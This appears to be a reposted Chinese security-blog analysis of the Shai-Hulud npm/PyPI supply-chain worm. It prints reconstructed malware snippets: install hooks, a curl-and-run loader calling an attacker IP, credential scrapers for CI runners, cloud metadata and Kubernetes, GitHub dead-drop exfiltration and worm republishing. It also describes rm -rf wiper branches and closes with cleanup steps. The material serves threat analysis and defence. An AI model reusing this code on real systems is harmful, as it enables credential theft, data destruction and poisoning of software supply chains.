Shai-Hulud(迷你沙虫)供应链蠕技术拆解(二)

admin 2026-06-02 04:05:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了TeamPCP组织发起的Shai-Hulud供应链蠕虫攻击,该蠕虫通过滥用GitHub工作流模式窃取高权限凭证,污染了超过170个npm包和2个PyPI包,周下载量超2亿次。攻击采用多层混淆解码、内嵌载荷和安装钩子劫持等技术,重点窃取CI/CD凭证、云端元数据和集群资产,并通过Session/Oxen基础设施外发数据。关键发现包括工业化凭证榨取机制和针对不同生态系统的载荷分发策略,建议加强供应链审计和运行时监控。 综合评分: 87 文章分类: 供应链安全,恶意软件,漏洞分析,安全工具,技术标准


cover_image

Shai-Hulud(迷你沙虫) 供应链蠕技术拆解(二)

原创

APT-101 APT-101

APT-101

2026年5月25日 18:40 陕西

在小说阅读器读本章

去阅读

📌 导语

在网络安全与软件供应链评估中,单靠依赖库签名或官方源背书的时代已经过去。威胁组织 TeamPCP 发起的 Shai-Hulud(沙虫):Here We Go Again 供应链蠕虫,通过一种高度工业化的机制,让恶意软件实现了在全球开源生态中的“以毒养毒”和自动繁殖。


01 供应链上的投毒突入

根据 JFrog 的在野捕获与跟踪分析,观察到的攻击链始于受信任的 GitHub 存储库上下文中执行的恶意代码

攻击者瞄准并滥用了一种特定的工作流模式(Workflow Pattern),该模式允许由 Fork 控制的代码在特权存储库上下文(Privileged Repository Context)中运行。通过这一突破口,TeamPCP 组织成功窃取了具有高权限的自动化认证凭证与发布 Token(如 PAT、发布凭证等)。一旦控制了上游账户,攻击者便开始向官方源自动化推送被污染的包版本,爆发初期迅速波及超过 170 个 npm 独立包与 2 个 PyPI 独立包,这些包在生态中的周下载量合计超过 2 亿次


02 npm 变体:核心恶意载荷剖析

报告指出,npm 变体的恶意软件被打包为一个体积庞大、经过重度混淆的 JavaScript 文件。该设计给恶意软件带来了两大完美的工程和生存优势:

  1. 多层解码规避(Multi-layered Decoding):静态应用安全测试(SAST)和软件供应链审计(SCA)工具在触及任何实质性逻辑之前,需要处理多层混淆与复杂的动态解码步骤。
{  "name": "@uipath/codedagent-tool",  "version": "1.0.1",  "files": ["dist"],  "scripts": {    "preinstall": "node setup.mjs"  }}
  1. 完全的本地化内嵌(Self-Contained Functionality):载荷将其主要功能完全内嵌在本地。它减少了对可能被企业防火墙拦截或下线的“第二阶段下载(Second-stage download)”的依赖。这意味着,即使内网部署了严格的出站流量监控,也无法阻止它在本地执行,极大提升了隐蔽性。
const bunVersion = "1.3.13";const payloadName = "tanstack_runner.js";const bunZipUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${bunVersion}/${platformArchive}.zip`;
await download(bunZipUrl, temporaryZipPath);extractBunBinary(temporaryZipPath, temporaryDirectory);chmod(bunBinaryPath, 0o755);execFileSync(bunBinaryPath, [path.join(packageDirectory, payloadName)], {  cwd: packageDirectory,  stdio: "inherit"});

03 利用安装钩子夺取第一控制权

在 npm 生态中,沙虫的首要执行手顺完美劫持了包管理器的安装期生命周期脚本(Install-Time Hooks)

以在野捕获的真实伪装投毒组件为例,其发布的 package.json 配置完全暴露了其调用机制。当不知情的开发者在本地,或者企业的自动化构建服务器执行 npm install 触发依赖下载时,恶意脚本 setup.mjs 会在依赖项真正编译或解压前被率先抢先执行

{  "name": "@uipath/codedagent-tool",  "version": "1.0.1",  "files": [    "dist"  ],  "scripts": {    "preinstall": "node setup.mjs"  }}

04 混淆机制与内嵌载荷细节

有效载荷经过高度混淆,并针对 Bun 攻击进行了专门定制。反混淆后的输出仍然包含数百个二级字符串解码调用和加密的有效载荷段。其中一层使用 PBKDF2-SHA256 算法,并采用活动盐值 svksjrhjkcejg,然后从每个字符串的初始化向量 (IV) 中导出流密钥。

const masterKey = pbkdf2Sync(inputKey, "svksjrhjkcejg", 200000, 32, "sha256");
function beautify(ciphertext) {  const decoded = Buffer.from(ciphertext, "base64");  const iv = decoded.subarray(0, 12);  const encrypted = decoded.subarray(12);  const streamKey = sha256(masterKey, iv);  return xorDecode(encrypted, streamKey);}

另一层将 JavaScript 有效载荷存储为 AES-256-GCM 加密、gzip 压缩的二进制数据块。这些数据块在运行时通过 Bun API 解密和解压缩,这使得有效载荷依赖于加载器刚刚下载的运行时环境。

function decryptEmbeddedPayload(hexKey, base64Blob) {  const key = Buffer.from(hexKey, "hex");  const blob = Buffer.from(base64Blob, "base64");  const iv = blob.subarray(0, 12);  const authTag = blob.subarray(12, 28);  const ciphertext = blob.subarray(28);
  const decipher = createDecipheriv("aes-256-gcm", key, iv);  decipher.setAuthTag(authTag);  const compressed = Buffer.concat([decipher.update(ciphertext), decipher.final()]);  return new TextDecoder().decode(Bun.gunzipSync(compressed));}

这种设计赋予了 npm 恶意软件两个优势。首先,静态扫描器需要处理多个解码层才能找到有意义的逻辑。其次,该软件包可以将其主要功能嵌入本地,从而减少对可能被阻止或下架的第二阶段下载的依赖。PyPI 变种则采用了相反的方法,使用了一个紧凑的加载器从网络检索 transformers.pyz,这表明该攻击活动针对不同的生态系统使用了不同的有效载荷分发策略。


05 工业化的 CI/CD 凭证榨取

一旦夺取运行时控制权,沙虫会立即转化为一台无情的凭证榨取机。它对 CI/CD 执行环境的环境变量(Environment Variables)实施无差别盘点。

报告强调,恶意软件不仅搜刮常见的 Token,还会尝试从构建运行器的进程内存中直接刮取(Scrape runner process memory)敏感的 OIDC 认证资产,其中重点搜刮的两大核心高危值包括:

  • ACTIONS_ID_TOKEN_REQUEST_TOKEN
  • ACTIONS_ID_TOKEN_REQUEST_URL

由于在当前的受信任发布工作流(Trusted-publishing Workflows)中,这些值可以直接兑换为短期的官方发布凭证,其失陷意味着攻击者能瞬间继承该环境在开源源或云端的完整发布特权。

if (process.env.RUNNER_OS !== "Linux") {  return failure("Not running on Linux runner");}
const output = execSync(  "sudo python3 | tr -d '\\0' | grep -aoE '\"[^\"]+\":\\{\"value\":\"[^\"]*\",\"isSecret\":true\\}' | sort -u",  { input: embeddedPythonMemoryScraper, encoding: "utf-8" });
const secrets = new Map();for (const match of output.matchAll(/"([^"]+)":{"value":"([^"]*)","isSecret":true}/g)) {  const [, name, value] = match;  secrets.set(name, value);}

这是连接初始工作流入侵和软件包传播的关键步骤。该攻击载荷不仅会查找文件或环境变量中的长期有效令牌,还会尝试从构建过程本身恢复仅在运行时有效的 CI/CD 密钥,包括可能永远不会写入磁盘的身份信息。 本地样本针对以下几种凭证类型:

  • GitHub 令牌,包括 ghp_、gho_、旧版 ghs_ 格式、JWT 格式的 ghs_ 令牌以及从运行器内存中恢复的令牌。
  • GitHub Actions 密钥和 OIDC 请求信息。
  • npm 令牌,包括 npm_ 令牌和通过 OIDC 交换生成的受信任发布令牌。
  • 来自环境变量、共享凭证文件、ECS 任务元数据、EC2 IMDSv2 和 Web 身份令牌文件的 AWS 凭证。
  • 跨可访问命名空间的 Kubernetes 服务帐户令牌、kubeconfig 令牌和 Kubernetes API 密钥。
  • HashiCorp Vault 令牌的来源包括环境变量、本地令牌文件、已挂载的密钥路径以及集群内身份验证流程。

本地开发者密钥,包括云配置、.npmrc 文件、Git 凭据、shell 历史记录、私钥、Docker 身份验证数据以及通过正则表达式找到的通用 API 密钥。


06 云端与集群资产深度盘点

除了 CI/CD 本身的配置,沙虫还会积极搜刮宿主机周边的整个多云基础设施与容器集群资产:

  • 云端元数据服务嗅探(Cloud Metadata Endpoints):尝试向 AWS、GCP 或 Azure 的内部元数据服务(如 IMDS 接口)发起网络请求,压榨临时管理凭证(Cloud Credentials)。
const staticCredentials = {  accessKeyId: process.env.AWS_ACCESS_KEY_ID,  secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,  sessionToken: process.env.AWS_SESSION_TOKEN};
const imdsToken = await fetch("http://169.254.169.254/latest/api/token", {  method: "PUT",  headers: { "X-aws-ec2-metadata-token-ttl-seconds": "21600" },  signal: AbortSignal.timeout(2000)}).then(r => r.text());
const roleName = await fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/", {  headers: { "X-aws-ec2-metadata-token": imdsToken },  signal: AbortSignal.timeout(2000)}).then(r => r.text());
  • 容器集群资产检索:定向检索系统路径,寻找并提取本地存储的 Kubernetes(如 /var/run/secrets/kubernetes.io/serviceaccount/token)、Docker、Vault 密钥管理器以及各类云端控制台的凭证。
const serviceAccountToken = readFile("/var/run/secrets/kubernetes.io/serviceaccount/token");const namespace = readFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace") || "default";
const namespaces = await listNamespaces(serviceAccountToken);for (const namespace of namespaces) {  if (systemNamespaces.has(namespace)) continue;  const secrets = await get(`/api/v1/namespaces/${namespace}/secrets`, serviceAccountToken);  collectDecodedSecretData(secrets);}
const vaultToken =  process.env.VAULT_TOKEN ||  process.env.VAULT_AUTH_TOKEN ||  readFirstExisting(["~/.vault-token", "/vault/token", "/var/run/secrets/vault-token"]);

07 多重冗余的数据外发通道

本地有效载荷包含通过 Session/Oxen 基础架构上传加密凭证的逻辑。它使用 /json_rpc 路径和 get_n_service_nodes 方法,通过 seed1[.]getsession[.]orgseed2[.]getsession[.]org 和 seed3[.]getsession[.]org 的种子节点发现服务节点。它还包含用于 hxxp[:]//filev2[.]getsession[.]org/file 的上传逻辑,该逻辑返回一个可检索的文件标识符。

该示例还包含 GitHub GraphQL 行为,可用于通过 createCommitOnBranch mutations 将数据或恶意文件写入存储库。提交使用作者标记 [email protected],这为防御者提供了一个有用的追踪指标。

const author = {  name: "claude",  email: "[email protected]"};
const mutation = `  mutation CreateCommitOnBranch($input: CreateCommitOnBranchInput!) {    createCommitOnBranch(input: $input) {      commit { oid url }    }  }`;
await githubGraphql(mutation, {  input: { branch, message: { headline: "chore: update dependencies" }, fileChanges, expectedHeadOid }});

有效载荷包含第二个 GitHub 路径,该路径使用窃取的 GitHub 令牌创建一个新的公共仓库,并将其用作泄露结果的死信箱。活动名称并未以明文字符串的形式出现在源代码中,但一个解码后的 beautify(…) 字符串解析为仓库描述“Shai-Hulud: Here We Go Again”。

async function createDeadDropRepository(githubToken) {  const repoName = generateDuneStyleName();
  const response = await fetch("hxxps[:]//api[.]github[.]com/user/repos", {    method: "POST",    headers: {      Authorization: `Bearer ${githubToken}`,      Accept: "application/vnd.github+json"    },    body: JSON.stringify({      name: repoName,      private: false,      auto_init: true,      description: "Shai-Hulud: Here We Go Again",      has_discussions: false,      has_issues: false,      has_wiki: false    })  });
  return response.json();}

仓库创建完成后,恶意软件会将 JSON 数据包提交到 results/ 路径下。如果有效载荷决定在数据包中包含窃取的 GitHub 令牌,则提交消息会根据解码后的威胁字符串 IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner(一个真实存在的威胁!)生成。否则,它会使用通用的提交消息。

async function commitExfiltratedResults(repo, githubToken, envelope) {  const filename = `results/results-${Date.now()}-${counter++}.json`;  const commitMessage = envelope.token    ? `IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner:${envelope.token}`    : "Add files.";
  await fetch(`hxxps[:]//api[.]github[.]com/repos/${repo.owner}/${repo.name}/contents/${filename}`, {    method: "PUT",    headers: {      Authorization: `Bearer ${githubToken}`,      Accept: "application/vnd.github+json"    },    body: JSON.stringify({      message: commitMessage,      content: Buffer.from(JSON.stringify(envelope)).toString("base64")    })  });}

该恶意软件还利用相同的 GitHub 写入权限,创建类似 Dependabot 的分支,并将 .github/workflows/codeql_analysis.yml 添加到可访问的仓库中。这使得该恶意软件除了可以通过死信箱窃取数据外,还能通过仓库投毒的方式进行数据窃取。

await createBranch({  branch: "dependabot/github_actions/format/setup-formatter",  from: defaultBranchHead});
await putFile({  path: ".github/workflows/codeql_analysis.yml",  branch: "dependabot/github_actions/format/setup-formatter",  message: "Add CodeQL Analysis",  content: encodedWorkflowPayload});

这种冗余的泄露设计意义重大。即使直接文件上传被阻止,在被盗 GitHub 令牌拥有“提交”权限的环境中,仓库写入操作仍然可能成功。如果仓库写入失败,Session/Oxen 文件路径仍然为攻击者提供了另一种收集凭据的途径。

该有效载荷实现了一个破坏性的 gh-token-monitor,它相当于一个“死人开关”。它将监控脚本安装在 ~/.local/bin 目录下,并通过 Linux systemd 用户服务或 macOS LaunchAgent 实现持久化。然后,该监控程序使用被盗的 GitHub 令牌每 60 秒轮询一次 hxxps[:]//api[.]github[.]com/user。如果 API 返回任何 40x 响应(表示令牌已被撤销),则监控程序会执行一个已配置的处理程序,在本例中,该处理程序会解码为 rm -rf ~/。因此,防御者必须优先考虑主机隔离和持久化移除,然后再启动对已暴露 GitHub 令牌的撤销操作。


08 蠕虫级自我复制与生态扩散

这是该蠕虫最危险的特征:它在跨越生态边界后具有“以毒养毒”的自动繁殖能力。

如果沙虫在当前受害环境中检测到了有效的 npm publish 权限,它会立刻触发自我复制与自繁殖逻辑(Worm-like behavior):它会主动寻找环境中的发布权限,在本地直接修改 package tarballs、自动递增版本号(Bump versions)、注入恶意的 package 标签与元数据(Metadata),随后将感染后的制品重新发布(Republish)回官方源,导致下游的依赖企业在自动化构建时跟着瞬间沦陷。

async function propagateWithNpmToken(npmToken) {  const tokenInfo = await fetch("https://registry.npmjs.org/-/npm/v1/tokens", {    headers: { Authorization: `Bearer ${npmToken}` }  }).then(r => r.json());
  const publishablePackages = await findPackagesWritableByToken(tokenInfo);
  for (const packageName of publishablePackages) {    const tarball = await downloadLatestPackageTarball(packageName);    const infectedTarball = await rewriteTarball(tarball, packageJson => {      packageJson.optionalDependencies = {        "@tanstack/setup": "github:tanstack/router#7369ea207ab53c50b2c670b6aede19169541b7ed"      };      packageJson.version = bumpPatch(packageJson.version, 3);    });
    await npmPublish(infectedTarball, npmToken);  }}

该有效载荷还包含用于可信发布传播的逻辑。在 GitHub Actions 环境中,它可以请求 npm 注册表受众的 OIDC 令牌,并将其交换为 npm 包发布令牌。这使得恶意软件能够以与合法维护者相同的信任工作流模型进行发布。

async function propagateWithGitHubOidc(packageName, infectedTarball) {  const oidc = await fetch(    `${process.env.ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,    { headers: { Authorization: `bearer ${process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN}` } }  ).then(r => r.json());
  const npmPublishToken = await exchangeOidcForNpmPackageToken(oidc.value, packageName);  await npmPublish(infectedTarball, npmPublishToken);}

这就形成了一个反馈循环。第一个被入侵的软件包在特权环境中运行,提取凭据,发布受感染的软件包,然后等待这些软件包在下一组特权环境中运行。每次成功感染都会创造更多发布机会,因此应该将有效载荷视为蠕虫,而不是独立的窃取程序。


09 持久化驻留与后台隐蔽执行

本地有效载荷通过重新启动当前进程并设置 DAEMONIZED=1 环境变量、分离标准输入输出 (stdio) 以及调用 unref() 函数来实现守护进程化。这样,安装进程就可以返回,而凭据收集工作则在后台继续进行。

if (!process.env.__DAEMONIZED) {  const child = spawn(process.execPath, process.argv.slice(1), {    detached: true,    stdio: "ignore",    cwd: process.cwd(),    env: { ...process.env, __DAEMONIZED: "1" }  });
  child.unref();  process.exit(0);}
await runHarvesters([  filesystemHarvester,  shellHarvester,  githubRunnerHarvester,  awsSecretsManagerHarvester,  awsSsmHarvester,  kubernetesHarvester,  vaultHarvester]);

攻击活动持久性指标包括遗留的运行时文件、编辑器或AI工具钩子文件,以及macOS或Linux系统上的操作系统级gh-token-monitor服务(参见下文的IOC)。因此,在移除持久性并轮换凭据之前,应将安装了恶意软件的环境视为已完全入侵。


10 PyPI 变体:“导入时激活”下载器

被入侵的 PyPI 包 [email protected] 使用了不同的执行触发器。注入的代码并非位于 npm 生命周期脚本中,而是位于 mistralai/client/init.py 文件中,这意味着对 SDK 的普通导入操作都可能触发恶意路径。该包保留了其正常生成的 SDK 功能,因此在日常检查中更容易忽略注入的加载器。在本地 wheel 文件中,Azure 和 GCP 客户端初始化程序保持干净;恶意导入钩子仅出现在标准客户端初始化程序中。

该加载器仅适用于 Linux 系统,并使用名为 MISTRAL_INIT 的环境变量来避免在同一进程树中重复执行。然后,它会在 /tmp 目录下准备一个下载路径:

import sys as _sysimport subprocess as _subimport os as _os
def _run_background_task():    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):        return
    _os.environ["MISTRAL_INIT"] = "1"    _url = "hxxps[:]//83.142.209.194/transformers.pyz"    _dest = "/tmp/transformers.pyz"

然后,该软件包使用 curl -k 从 hxxps[:]//83.142.209.194/transformers.pyz 下载远程有效载荷,并禁用 TLS 证书验证。它会跟踪重定向,抑制输出,并使用当前 Python 解释器将下载的文件作为分离的后台进程启动:

try:    if not _os.path.exists(_dest):        _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
    if _os.path.exists(_dest):        _sub.Popen(            [_sys.executable, _dest],            stdout=_sub.DEVNULL,            stderr=_sub.DEVNULL,            start_new_session=True,            env=_os.environ.copy()        )except:    pass

最后,该函数会在导入时无条件调用:

_run_background_task()

在我们最初的分析中,本地下载的 transformers.pyz 样本仅包含文本响应“teampcp says hello-ohh-ohh-ohhh”。但该远程有效载荷此后发生了变化。当前的 transformers.pyz 是一个独立的 Python zip 应用程序,它用作凭证窃取和数据外泄工具,这证实了这种体积小巧、导入时即可下载的程序存在风险,因为其有效载荷可以在发布后被替换。


11 PyPI 载荷升级:Python 凭证窃取器

更新后的有效载荷以多个反分析和目标锁定机制开始。它仅可在 Linux 系统上运行,在俄语语言环境下会退出,会拒绝可能表明处于沙箱环境的低 CPU 使用率环境,并且除非存在调试环境变量,否则会将输出重定向到 /dev/null。如果缺少加密依赖项,有效载荷会在继续执行之前尝试静默安装它。

if sys.platform not in ("linux"):    sys.exit(1)
if lang.lower().startswith("ru"):    sys.exit(1)
if&nbsp;cpu_count is None or cpu_count <=&nbsp;2:&nbsp; &nbsp;&nbsp;sys.exit(1)

C2 配置被硬编码并伪装成机器学习 API 路径。TLS 验证被故意禁用,即使提供自签名证书或其他无效证书,恶意软件也能与攻击者的基础设施通信。

EARLY_QUARANTINE_URL&nbsp;=&nbsp;"hxxps[:]//83.142.209.194/v1/models"RUN_FOR_COVER&nbsp;=&nbsp;"hxxps[:]//83.142.209.194/audio.mp3"TARGET_URL&nbsp;=&nbsp;"hxxps[:]//83.142.209.194/v1/weights"IGNORE_SSL_ERRORS&nbsp;=&nbsp;True

凭证收集范围广泛。有效载荷会读取本地凭证文件,例如 ~/.aws/credentials、~/.kube/config、~/.config/gh/hosts.yml、shell 历史记录、SSH 密钥、.env 文件、Terraform 状态文件、Docker 容器环境变量、Tailscale 状态和 WireGuard 配置。它还会收集 AI 和开发者工具的配置文件,包括 Cursor MCP 配置、VS Code MCP 配置、Claude Desktop 配置、Continue、Codeium、OpenCode、Kilo 和 Zed 设置。

云收集器涵盖 AWS、GCP、Azure、Kubernetes 和 HashiCorp Vault。AWS 收集器会从环境变量、IMDS 和共享凭证文件中解析凭证,然后枚举跨多个区域的 Secrets Manager 和 SSM Parameter Store 值。GCP 收集器使用服务帐户或授权用户凭证读取 Secrets Manager 条目,而 Azure 收集器则会列出订阅、密钥保管库和密钥。 Kubernetes 收集器读取 ~/.kube/config 文件,如果无法获取密钥,则回退到集群内服务帐户令牌。在跨命名空间提取密钥之前,kubectl 可以下载到 /tmp/kubectl 目录。Vault 收集器从常用位置解析令牌,并递归地转储 KV 密钥。

该有效载荷还针对密码管理器。它尝试通过 op CLI 转储 1Password 密码库,在密码库解锁时转储 Bitwarden 条目,以及从 pass 和 gopass 中提取条目。这使得 PyPI 有效载荷的意图更接近于 npm 窃取器,而非最初仅提供归属信息的响应,但它使用 Python 实现,并具有特定于生态系统的导入触发器。


12 Python 侧的外发与备用容灾通道

收集数据后,有效载荷将窃取的数据序列化为 JSON 格式,对其进行压缩,使用 AES-256-GCM 加密数据包,并使用 RSA-OAEP-SHA256 将嵌入的 RSA 公钥与 AES 密钥进行封装。只有攻击者控制的私钥才能解密生成的加密信封。

aes_key = os.urandom(32)iv = os.urandom(12)encrypted_key = rsa_oaep_encrypt_sha256(config.PUBLIC_KEY_PEM, aes_key)ciphertext, tag = aes_256_gcm_encrypt(aes_key, iv, compressed)

主要数据泄露路径是向 hxxps[:]//83.142.209.194/v1/weights 发送 HTTP POST 请求。如果此请求失败,有效载荷会搜索 GitHub 提交记录中关键词 FIRESCALE,从匹配的提交信息中提取一个已签名的 base64url 有效载荷,并使用攻击者的 RSA 公钥对其进行验证,然后将验证后的 URL 作为备用 C2 服务器。这使得攻击者拥有了一种可以绕过针对原始 IP 的静态黑名单的死信箱 C2 服务器解析机制。

Python 有效载荷还包含一个 GitHub 数据泄露备用方案。当在收集的数据中找到被盗的 GitHub 令牌时,它可以创建一个以受害者帐户命名的公共仓库,并将加密的数据包以 results.json 的形式上传。仓库描述被硬编码为 PUSH UR T3MPRR,这为防御者提供了另一个攻击线索。


13 Python 侧持久化与破坏性次级载荷

位于 hxxps[:]//83.142.209.194/v1/models 的早期隔离端点可以提供一个经过 base64 编码的 Python 阶段。该阶段会将解码后的有效载荷写入 ~/.local/bin/pgmonitor.py(如果以 root 用户身份运行,则写入 /usr/bin/pgmonitor.py),并安装一个名为 pgsql-monitor.service 的 systemd 服务,以伪装成 PostgreSQL 监控守护进程。

第二阶段还包含地理围栏破坏性行为。它会检查与以色列和伊朗相关的时区和区域设置标记,包括 Jerusalem、Tel_Aviv、Tehran、he_IL 和 fa_IR。在匹配的系统上,六分之一的随机分支会下载 hxxps[:]//83.142.209.194/audio.mp3,尝试以最大音量播放,然后执行 rm -rf /*。虽然这种破坏性分支具有概率性,但在导入恶意 PyPI 包后,受影响的 Linux 主机应被视为已完全被攻破。


14 JFrog Curation是如何抵御这种攻击的?

使用不成熟版本策略的 JFrog Curation 客户完全免受此次攻击的影响,因为所有被劫持的软件包都在 24 小时内被标记出来。Curation 具有自动合规版本选择 (CVS) 机制,可确保开发人员和 CI/CD 流程无缝回滚到合规的非最新版本,直到问题解决。


15 遭遇“沙虫”污染后的全面响应指南

  1. 彻底终结并清理持久化后门:全面检查并强行结束系统内的恶意常驻服务与伪装进程(重点查杀并删除 gh-token-monitorpgsql-monitor 脚本及后台关联守护进程和 LaunchAgent 配置文件)。
  2. 依赖硬回滚与缓存隔离:清空本地全局缓存(npm cache clean --force),强制删除项目中的 node_modulesvenv 以及对应的 Lockfile 锁文件,并在企业私有制品库中对受污版本实施全面封禁。
  3. 全量凭证轮换(Token Rotation):鉴于沙虫极强的云端和 OIDC 资产窃取能力,必须立刻废弃并全量轮换暴露的 ~/.npmrc~/.pypirc 发布 Token、AWS/GCP/Azure 长期或临时云凭证、Vault 令牌以及本地 SSH 密钥。

在撤销 GitHub 令牌之前,必须先消除恶意软件的“死亡开关”机制。

对于 Linux 环境,管理员应停止并禁用用户级服务,并通过执行以下命令清除其关联文件:

systemctl&nbsp;--user&nbsp;stop&nbsp;gh-token-monitor.servicesystemctl&nbsp;--user&nbsp;disable gh-token-monitor.service

随后移除:

~/.config/systemd/user/gh-token-monitor.service~/.local/bin/gh-token-monitor.sh~/.config/gh-token-monitor/

在 macOS 上,必须通过以下方式卸载 LaunchAgent:

launchctl bootout&nbsp;"gui/$(id -u)"&nbsp;~/Library/LaunchAgents/com.user.gh-token-monitor.plist

随后移除:

~/Library/LaunchAgents/com.user.gh-token-monitor.plist~/.local/bin/gh-token-monitor.sh~/.config/gh-token-monitor/

对于暴露于更新后的 PyPI 有效负载的环境,管理员还应停止并禁用 PostgreSQL 伪装服务(如果存在):

systemctl&nbsp;stop&nbsp;pgsql-monitor.servicesystemctl disable pgsql-monitor.servicesystemctl&nbsp;--user&nbsp;stop&nbsp;pgsql-monitor.servicesystemctl&nbsp;--user&nbsp;disable pgsql-monitor.service

随后移除:

~/.config/systemd/user/pgsql-monitor.service/etc/systemd/system/pgsql-monitor.service~/.local/bin/pgmonitor.py/usr/bin/pgmonitor.py

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:APT-101 APT-101 APT-101《Shai-Hulud(迷你沙虫) 供应链蠕技术拆解(二)》

评论:0   参与:  0